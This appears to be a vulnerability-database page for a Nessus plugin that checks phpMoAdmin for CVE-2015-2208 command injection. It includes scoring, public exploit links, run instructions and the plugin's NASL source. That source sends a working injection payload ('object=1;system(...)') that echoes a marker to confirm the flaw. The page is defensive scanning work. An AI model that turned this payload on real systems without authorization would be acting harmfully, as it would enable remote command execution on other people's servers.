phpMoAdmin saveObject Remote Command Execution - Nessus

High Plugin ID: 84217

This page contains detailed information about the phpMoAdmin saveObject Remote Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 84217
Name: phpMoAdmin saveObject Remote Command Execution
Filename: phpmoadmin_saveobject_rce.nasl
Vulnerability Published: 2015-03-12
This Plugin Published: 2015-06-16
Last Modification Time: 2022-04-11
Plugin Version: 1.8
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: phpmoadmin_detect.nasl
Required KB Items [?]: installed_sw/phpMoAdmin

Vulnerability Information

Severity: High
Vulnerability Published: 2015-03-12
Patch Published: N/A
CVE [?]: CVE-2015-2208
CPE [?]: cpe:/a:avinu:phpmoadmin

Synopsis

The remote web server is affected by a command execution vulnerability.

Description

The remote web server is hosting a version of phpMoAdmin that is affected by a remote code execution vulnerability due to improper sanitization of input passed via the 'object' POST parameter in the saveObject() function in the moadmin.php script. A remote attacker can exploit this, via a specially crafted request, to execute arbitrary commands.

Solution

There is currently no patch publicly available.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the phpMoAdmin saveObject Remote Command Execution vulnerability:

Metasploit: exploit/multi/http/phpmoadmin_exec
[PHPMoAdmin 1.1.2 Remote Code Execution]
Exploit-DB: exploits/php/webapps/36251.txt
[EDB-36251: PHPMoAdmin - Unauthorized Remote Code Execution]
GitHub: https://github.com/NCSU-DANCE-Research-Group/CDL
[CVE-2015-2208]
GitHub: https://github.com/R0B1NL1N/E-x-p-l-o-i-t-s
[CVE-2015-2208]
GitHub: https://github.com/WangYihang/Exploit-Framework
[CVE-2015-2208]
GitHub: https://github.com/XiphosResearch/exploits
[CVE-2015-2208]
GitHub: https://github.com/ptantiku/cve-2015-2208
[CVE-2015-2208: Docker simulating cve-2015-2208 vulnerability]
GitHub: https://github.com/shildenbrand/Exploits
[CVE-2015-2208]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.2 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.2 (Medium)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(84217);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2015-2208");
  script_bugtraq_id(72877);
  script_xref(name:"EDB-ID", value:"36251");

  script_name(english:"phpMoAdmin saveObject Remote Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web server is hosting a version of phpMoAdmin that is
affected by a remote code execution vulnerability due to improper
sanitization of input passed via the 'object' POST parameter in the
saveObject() function in the moadmin.php script. A remote attacker can
exploit this, via a specially crafted request, to execute arbitrary
commands.");
  script_set_attribute(attribute:"see_also", value:"http://www.phpmoadmin.com/");
  script_set_attribute(attribute:"solution", value:
"There is currently no patch publicly available.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'PHPMoAdmin 1.1.2 Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/03/12");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/06/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:avinu:phpmoadmin");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("phpmoadmin_detect.nasl");
  script_require_keys("installed_sw/phpMoAdmin");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = "phpMoAdmin";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80);

install = get_single_install(app_name:app, port:port);
url = install['path'];

# create a unique string that we can have echoed
# back from the application
result  = "phpmoadmin_saveobject_rce.nasl " + unixtime();
command = 'echo "' + result + '"';

res = http_send_recv3(
  method       : "POST",
  item         : url,
  port         : port,
  data         : "object=1;system('" + command + "');exit",
  add_headers  : make_array("Content-Type", "application/x-www-form-urlencoded"),
  exit_on_fail : TRUE
);

if (result >< res[2])
{
  security_report_v4(
    port        : port,
    severity    : SECURITY_HOLE,
    generic     : TRUE,
    request     : make_list(http_last_sent_request()),
    output      : res[2]
  );
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(qs:url, port:port));

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/phpmoadmin_saveobject_rce.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\phpmoadmin_saveobject_rce.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/phpmoadmin_saveobject_rce.nasl

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How to Run

Here is how to run the phpMoAdmin saveObject Remote Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select phpMoAdmin saveObject Remote Command Execution plugin ID 84217.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl phpmoadmin_saveobject_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a phpmoadmin_saveobject_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - phpmoadmin_saveobject_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state phpmoadmin_saveobject_rce.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

72877

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file phpmoadmin_saveobject_rce.nasl version 1.8. For more plugins, visit the Nessus Plugin Library.

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phpMoAdmin saveObject Remote Command Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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